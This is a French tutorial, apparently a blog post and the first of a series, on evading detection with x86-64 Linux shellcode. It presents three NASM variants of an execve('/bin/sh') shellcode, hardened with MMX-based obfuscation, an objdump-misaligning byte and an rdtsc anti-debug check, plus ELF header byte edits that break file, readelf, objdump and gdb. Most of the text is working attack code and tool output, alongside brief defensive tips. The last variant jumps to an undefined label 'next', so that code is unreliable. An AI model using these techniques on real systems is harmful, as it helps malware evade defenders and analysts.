L’objet de cette série d’articles est d’aborder quelques techniques d’évasion pour des shellcodes (une connaissance minimale sur les shellcodes est donc un prérequis).
Ces techniques sont susceptibles d’intéresser les pentesters mais aussi les cyberdéfenseurs dans leur lutte quotidienne contre les attaques informatiques.
Une petite précision par rapport aux codes sources. Le code présenté ici n’est pas 100% « exploit safe », c’est à dire que je n’ai pas systématiquement vérifié l’absence de zéros dans les opcodes générés.
Par exemple ce mov n’est pas exploit safe car il génère des opcodes avec des zéros :
48 c7 c0 01 00 00 00 mov rax,0x1
Mais ce code-ci qui aboutit au même résultat est lui « exploit safe » :
48 31 c0 xor rax,rax b0 01 mov al,0x1
OK, prenons pour exemple un shellcode classique dont le but est de lancer un shell /bin/sh
; Author : Patrice Siracusa ; ; $ nasm -f elf64 sc64basic.nasm -o sc64basic.o ; $ ld sc64basic.o -o sc64basic ; ; 64 bits system exec parameters : ; ; %rax System call %rdi %rsi %rdx %r10 %r8 ; 0x3b sys_execve const char *filename const char *const argv[] const char *const envp[] global _start _start: ; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f mov rcx, 0x68732f6e69622f push rcx ; push the immediate value stored in rcx onto the stack xor rdx, rdx lea rdi, [rsp] ; load the address of the string that is on the stack into rdi mov al, 0x3b syscall ; make the syscall
Un tel shellcode est facilement repérable car :
- la chaîne de caractères /bin/sh ou ici sa version little endian hs/nib apparaît en clair dans le registre rcx
- l’appel à la fonction système execve 0x3b est repérable directement
Obfuscation
Afin de contourner ce problème, un attaquant peut utiliser plusieurs techniques comme l’obfuscation.
On remplace tout ce qui est facilement identifiable comme la chaine de caractère /bin/sh et l’appel système execve 0x3b par un code différent mais qui aboutit au même résultat.
Au fait, dans ce genre, il y a quelques trucs pour remplacer les classiques XOR ou PUSH, cela peut aider à passer du pattern-matching :
XOR
Un xor rax, rax peut se remplacer par : mov rbx, rax sub rax, rbx
PUSH
Un push rax peut se remplacer par : mov qword [rsp - 8], rax sub rsp, 8
Pour masquer la chaine /bin/sh, on peut par exemple imaginer une addition de deux registres donnant comme résultat la valeur souhaitée 0x68732f6e69622f. Et pour faire cette addition on peut ajouter un peu de fun en utilisant une instruction MMX ou bien du SSE/SSE2.
Quant à l’appel système avec 0x3b dans le registre AL, là aussi on peut se dire qu’on ne met pas directement cette valeur dans AL mais qu’on y arrive avec une addition.
Voici un exemple de code avec ces modifications.
; Author : Patrice Siracusa ; ; $ nasm -f elf64 sc64v1.nasm -o sc64v1.o ; $ ld sc64v1.o -o sc64v1 ; ; 64 bits system exec parameters : ; ; %rax System call %rdi %rsi %rdx %r10 %r8 ; 0x3b sys_execve const char *filename const char *const argv[] const char *const envp[] global _start _start: ; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f ; Obfuscate value with a simple addition ; 68 73 2f 6e 69 62 2f ; - 50 53 01 42 4a 50 02 X value ; = 18 20 2e 2c 1f 12 2d Y value mov rcx, 0x69505301424a5002 ; X value is padded with a random value, 0x69 movq mm0, rcx ; build the string value using MMX add instruction for obfuscation mov rcx, 0x6918202e2c1f122d ; Y value is padded with a random value, 0x69 movq mm1, rcx paddusb mm0, mm1 ; add mm0 with mm1 (parallel execution) and construct hs/nib/ movq rcx, mm0 emms ; return to FPU mode xor rdx, rdx ; zero out rdx for an execve argument shl rcx, 0x08 ; left shift to trim off the two bytes of padding (0x69 is wiped and replaced with 0x00) mov al, 0x30 ; move 0x30 (execve syscall is 0x3b) into al shr rcx, 0x08 ; right shift to re order string (0x00 is cleared, rcx is now /hs/nib) push rcx ; push the immediate value stored in rcx onto the stack lea rdi, [rsp] ; load the address of the string that is on the stack into rdi add al, 0x0b ; move 0x3b into al (execve syscall) syscall ; make the syscall
Cyberdéfense
Le pattern-matching risque d’échouer car le code est obfusqué.
Un dump du code ne permet plus de voir d’un simple coup d’oeil qu’il s’agit d’un appel à /bin/sh néanmoins en suivant pas à pas les instructions avec gdb on y arrive aisément.
Anti-dump
Un attaquant aura vite trouvé une solution pour perturber les dumpers de code et les debuggers.
Une solution simple pour pertuber la commande objdump sous Linux, est d’ajouter un opcode incomplet (par exemple prendre un opcode qui tient normalement sur 2 octets et de n’en prendre qu’un seul) puis de passer par dessus avec un jump :
jmp begin+1 begin: db 0xe9 ; E9 is opcode for jmp to disalign disassembly like objdump suite du code
Le nouveau shellcode avec cet anti-dump :
; Author : Patrice Siracusa ; ; $ nasm -f elf64 sc64v2.nasm -o sc64v2.o ; $ ld sc64v2.o -o sc64v2 ; ; 64 bits system exec parameters : ; ; %rax System call %rdi %rsi %rdx %r10 %r8 ; 0x3b sys_execve const char *filename const char *const argv[] const char *const envp[] global _start _start: ; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f ; Obfuscate value with a simple addition ; 68 73 2f 6e 69 62 2f ; - 50 53 01 42 4a 50 02 X value ; = 18 20 2e 2c 1f 12 2d Y value jmp begin+1 begin: db 0xe9 ; E9 is opcode for jmp to disalign disassembly mov rcx, 0x69505301424a5002 ; X value is padded with a random value, 0x69 movq mm0, rcx ; build the string value using MMX add instruction for obfuscation mov rcx, 0x6918202e2c1f122d ; Y value is padded with a random value, 0x69 movq mm1, rcx paddusb mm0, mm1 ; add mm0 with mm1 (parallel execution) and construct hs/nib/ movq rcx, mm0 emms ; return to FPU mode xor rdx, rdx ; zero out rdx for an execve argument shl rcx, 0x08 ; left shift to trim off the two bytes of padding (0x69 is wiped and replaced with 0x00) mov al, 0x30 ; move 0x30 (execve syscall is 0x3b) into al shr rcx, 0x08 ; right shift to re order string (0x00 is cleared, rcx is now /hs/nib) push rcx ; push the immediate value stored in rcx onto the stack lea rdi, [rsp] ; load the address of the string that is on the stack into rdi add al, 0x0b ; move 0x3b into al (execve syscall) syscall ; make the syscall
Lançons un objdump pour voir le résultat.
On voit que l’ajout de l’opcode 0xE9 a perturbé l’alignement d’objdump, le code dumpé ne correspond pas au code source :
objdump -D sc64blog sc64blog: format de fichier elf64-x86-64 Déassemblage de la section .text : 0000000000400080 <_start>: 400080: eb 01 jmp 400083 <begin+0x1> 0000000000400082 : 400082: e9 48 b9 02 50 jmpq 5042b9cf <_end+0x4fe2b917> 400087: 4a rex.WX 400088: 42 01 53 50 rex.X add %edx,0x50(%rbx) 40008c: 00 48 0f add %cl,0xf(%rax) 40008f: 6e outsb %ds:(%rsi),(%dx) 400090: c1 48 b9 2d rorl $0x2d,-0x47(%rax) 400094: 12 1f adc (%rdi),%bl 400096: 2c 2e sub $0x2e,%al 400098: 20 18 and %bl,(%rax) 40009a: 00 48 0f add %cl,0xf(%rax) 40009d: 6e outsb %ds:(%rsi),(%dx) 40009e: c9 leaveq 40009f: 0f dc c1 paddusb %mm1,%mm0 4000a2: 48 0f 7e c1 movq %mm0,%rcx 4000a6: 0f 77 emms 4000a8: 48 31 d2 xor %rdx,%rdx 4000ab: b0 30 mov $0x30,%al 4000ad: 51 push %rcx 4000ae: 48 8d 3c 24 lea (%rsp),%rdi 4000b2: 04 0b add $0xb,%al 4000b4: 0f 05 syscall
Cyberdéfense
Il suffit de lancer le debugger gdb et de tracer les instructions pas à pas.
Anti-debugger
Là encore un attaquant peut empêcher le bon fonctionnement de gdb de plusieurs façons.
Si le shellcode ne fait pas partie d’un exploit mais est un exécutable :
On peut manipuler le header ELF du binaire et fait croire qu’il s’agit d’un binaire 32 bits alors qu’il s’agit en réalité d’un binaire 64 bits. Dans le même ordre d’idée on peut modifier un autre bit du header ELF pour indiquer qu’il s’agit d’un code pour une plateforme en big endian alors qu’il s’agit en réalité d’un binaire pour une plateforme en little endian.
Ces modifications perturbent bon nombre d’outils mais n’empêchent pas le binaire de fonctionner normalement !
Tout d’abord, on vérifie les informations présentes avec la commande readelf, on voit bien qu’il s’agit d’un 64 bits little endian :
readelf -h ./sc64v2 En-tête ELF: Magique: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Classe: ELF64 Données: complément à 2, système à octets de poids faible d'abord (little endian) Version: 1 (current) OS/ABI: UNIX - System V Version ABI: 0 Type: EXEC (fichier exécutable) Machine: Advanced Micro Devices X86-64 Version: 0x1 Adresse du point d'entrée: 0x400080 Début des en-têtes de programme : 64 (octets dans le fichier) Début des en-têtes de section : 464 (octets dans le fichier) Fanions: 0x0 Taille de cet en-tête: 64 (octets) Taille de l'en-tête du programme: 56 (octets) Nombre d'en-tête du programme: 1 Taille des en-têtes de section: 64 (octets) Nombre d'en-têtes de section: 5 Table d'indexes des chaînes d'en-tête de section: 4
Pour modifier le header, on peut utiliser n’importe quel éditeur hexadécimal, j’ai choisi ici l’outil hexcurse :
Le 5ième octet définit le format 32 ou 64 bits : (1) 32Bits (2) 64Bits. On modifie le 5ième octet et on le passe à 1.
Le 6ième octet définit l’endianness : (1) LSB (2) MSB. On modifie le 6ième octet et on le passe à 2.
Testons ces modifs avec quelques commandes linux classiques :
- file
la commande file est perturbée
file sc64 sc64elf: ELF 32-bit MSB *unknown arch 0x3e00* (SYSV)
- readelf
Il croit qu’il s’agit d’un executable 32 bits pour big endian :
En-tête ELF: Magique: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 Classe: ELF32 Données: complément à 2, système à octets de poids fort d'abord (big endian) Version: 1 (current) OS/ABI: UNIX - System V Version ABI: 0 Type: : 200 Machine: : 0x3e00 Version: 0x1000000 Adresse du point d'entrée: 0x80004000 Début des en-têtes de programme : 0 (octets dans le fichier) Début des en-têtes de section : 1073741824 (octets dans le fichier) Fanions: 0x0 Taille de cet en-tête: 53249 (octets) Taille de l'en-tête du programme: 0 (octets) Nombre d'en-tête du programme: 0 Taille des en-têtes de section: 0 (octets) Nombre d'en-têtes de section: 0 Table d'indexes des chaînes d'en-tête de section: 0 readelf: AVERTISSEMENT: en-tête ELF peut-être endommagé – il a un offset non nul pour l'en-tête de section mais pas d'en-tête de section
- objdump
Objdump plante :
objdump -M intel -D ./sc64 objdump: ./sc64: Fichier tronqué
- gdb
gdb plante également :
gdb ./sc64 GNU gdb (Debian 7.12-6) 7.12.0.20161007-git Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... "/root/shellcodes/./sc64": not in executable format: Fichier tronqué (gdb)
Que le shellcode fasse partie d’un exploit ou bien soit un binaire exécutable, il est possible de perturber le débugger gdb de multiples façons.
Une des méthodes est de se baser sur le temps. On calcule le temps d’exécution et si ce n’est pas le temps attendu, on exit :
rdtsc ; get current timestamp (saved in a 64 bit value: EDX [first half], EAX [second half]) xor ecx,ecx ; sets ECX to zero add ecx,eax ; save timestamp to ECX rdtsc ; get another timestamp sub eax,ecx ; compute elapsed ticks cmp eax,0xFFF ; jump if less than FFF ticks (assumes that program is not running under a debugging tool like gdb...) jl next retn ; program crash
Voici le shellcode en intégrant la technique anti-dump et anti-debug :
; Author : Patrice Siracusa ; ; $ nasm -f elf64 sc64v3.nasm -o sc64v3.o ; $ ld sc64v3.o -o sc64v3 ; ; 64 bits system exec parameters : ; ; %rax System call %rdi %rsi %rdx %r10 %r8 ; 0x3b sys_execve const char *filename const char *const argv[] const char *const envp[] global _start _start: ; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f ; Obfuscate value with a simple addition ; 68 73 2f 6e 69 62 2f ; - 50 53 01 42 4a 50 02 X value ; = 18 20 2e 2c 1f 12 2d Y value jmp begin+1 begin: db 0xe9 ; E9 is opcode for jmp to disalign disassembly rdtsc ; get current timestamp (saved in a 64 bit value: EDX [first half], EAX [second half]) xor ecx,ecx ; sets ECX to zero add ecx,eax ; save timestamp to ECX rdtsc ; get another timestamp sub eax,ecx ; compute elapsed ticks cmp eax,0xFFF ; jump if less than FFF ticks (assumes that program is not running under a debugging tool like gdb...) jl next retn ; program crash mov rcx, 0x69505301424a5002 ; X value is padded with a random value, 0x69 movq mm0, rcx ; build the string value using MMX add instruction for obfuscation mov rcx, 0x6918202e2c1f122d ; Y value is padded with a random value, 0x69 movq mm1, rcx paddusb mm0, mm1 ; add mm0 with mm1 (parallel execution) and construct hs/nib/ movq rcx, mm0 emms ; return to FPU mode xor rdx, rdx ; zero out rdx for an execve argument shl rcx, 0x08 ; left shift to trim off the two bytes of padding (0x69 is wiped and replaced with 0x00) mov al, 0x30 ; move 0x30 (execve syscall is 0x3b) into al shr rcx, 0x08 ; right shift to re order string (0x00 is cleared, rcx is now /hs/nib) push rcx ; push the immediate value stored in rcx onto the stack lea rdi, [rsp] ; load the address of the string that is on the stack into rdi add al, 0x0b ; move 0x3b into al (execve syscall) syscall ; make the syscall
Cyberdéfense
Si objdump ou gdb se plante dès le début, jettez un oeil au header ELF.
Si en traçant pas à pas gdb crash, pensez à faire des jump par dessus du code anti-debug.
Voila, après avoir vu rapidement quelques techniques d’obfuscation, nous verrons dans le prochain article quelques techniques d’encodage.